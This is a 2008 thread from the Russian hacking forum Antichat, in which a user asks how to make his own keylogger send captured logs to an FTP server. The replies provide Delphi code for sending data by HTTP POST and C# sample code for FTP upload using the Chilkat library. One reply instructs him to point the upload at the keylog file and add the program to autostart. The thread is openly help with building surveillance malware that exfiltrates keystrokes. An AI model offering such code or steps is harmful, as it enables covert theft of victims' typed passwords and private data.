Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Инфа на фтп (не пинч) Кейлогер! (https://forum.antichat.xyz/showthread.php?t=91287)

whyl 11.11.2008 05:29

Инфа на фтп (не пинч) Кейлогер!
 
Скажите кто знает как сделать чтобы кейлоггер отправлял данные на фтп (не скачать готовый и просто настроить, а нужно найти что то вроди исходников для написания этой ф-ии в своем собственном кейлогере)?

Грот 11.11.2008 06:42

Цитата:

procedure SendPOSTData(const szHost, szPath, szData: PChar);
var
szHeaders: PChar;
hOpenHandle,
hConnectHandle,
hResourceHandle: Pointer;
begin

hOpenHandle := InternetOpen(nil, 0, nil, nil, 0);
if hOpenHandle <> nil then
begin
hConnectHandle := InternetConnect(hOpenHandle, szHost,80,nil,nil,3,0,0);
if hConnectHandle <> nil then
begin
hResourceHandle := HttpOpenRequest(hConnectHandle,'POST',szPath,nil,n il,nil,INTERNET_FLAG_KEEP_CONNECTION,0);
if hResourceHandle <> nil then
begin
HttpSendRequest(hResourceHandle,'Content-Type: application/x-www-form-urlencoded',47,szData,lstrlen(szData));
end;
InternetCloseHandle(hResourceHandle);
end;
InternetCloseHandle(hConnectHandle);
end;
InternetCloseHandle(hOpenHandle);
end;
это на Delphi отправка POST

procedure 11.11.2008 08:23

ТС, ты уже вторую подобную тему создал(http://forum.antichat.ru/threadedpost937371.html). Я тебе в прошлой ответил:
Короче, чувак. Тут все легко:
Идешь на:
http://www.example-code.com/csharp/default.asp
Скачиваешь либу, Chilkat.
Добавляешь в свой проект:
Код:

Chilkat.Ftp2 ftp = new Chilkat.Ftp2();
           
            bool success;

            //  Any string unlocks the component for the 1st 30-days.
            success = ftp.UnlockComponent("Anything for 30-day trial");
            if (success != true)
            {
                MessageBox.Show(ftp.LastErrorText);
                return;
            }

            ftp.Hostname = "ftp.chilkatsoft.com";
            ftp.Username = "****";
            ftp.Password = "****";
           
            //  The default data transfer mode is "Active" as opposed to "Passive".

            //  Connect and login to the FTP server.
            success = ftp.Connect();
            if (success != true)
            {
                MessageBox.Show(ftp.LastErrorText);
                return;
            }

            //  Change to the remote directory where the file will be uploaded.
            success = ftp.ChangeRemoteDir("junk");
            if (success != true)
            {
                MessageBox.Show(ftp.LastErrorText);
                return;
            }

            //  Upload a file.
            string localFilename;
            localFilename = "hamlet.xml";
            string remoteFilename;
            remoteFilename = "hamlet.xml";

            success = ftp.PutFile(localFilename, remoteFilename);
            if (success != true)
            {
                MessageBox.Show(ftp.LastErrorText);
                return;
            }

            ftp.Disconnect();

            MessageBox.Show("File Uploaded!");

Подключаешь либу Chilkat (она будет в Program Files -> Chilkat Software Inc.)
Прописываешь свой хост, юзер и пасс. И в localFileName добавляешь путь к файлу с логами.
Кидаешь, ему в автозагрузку.
Всё))))


Время: 14:57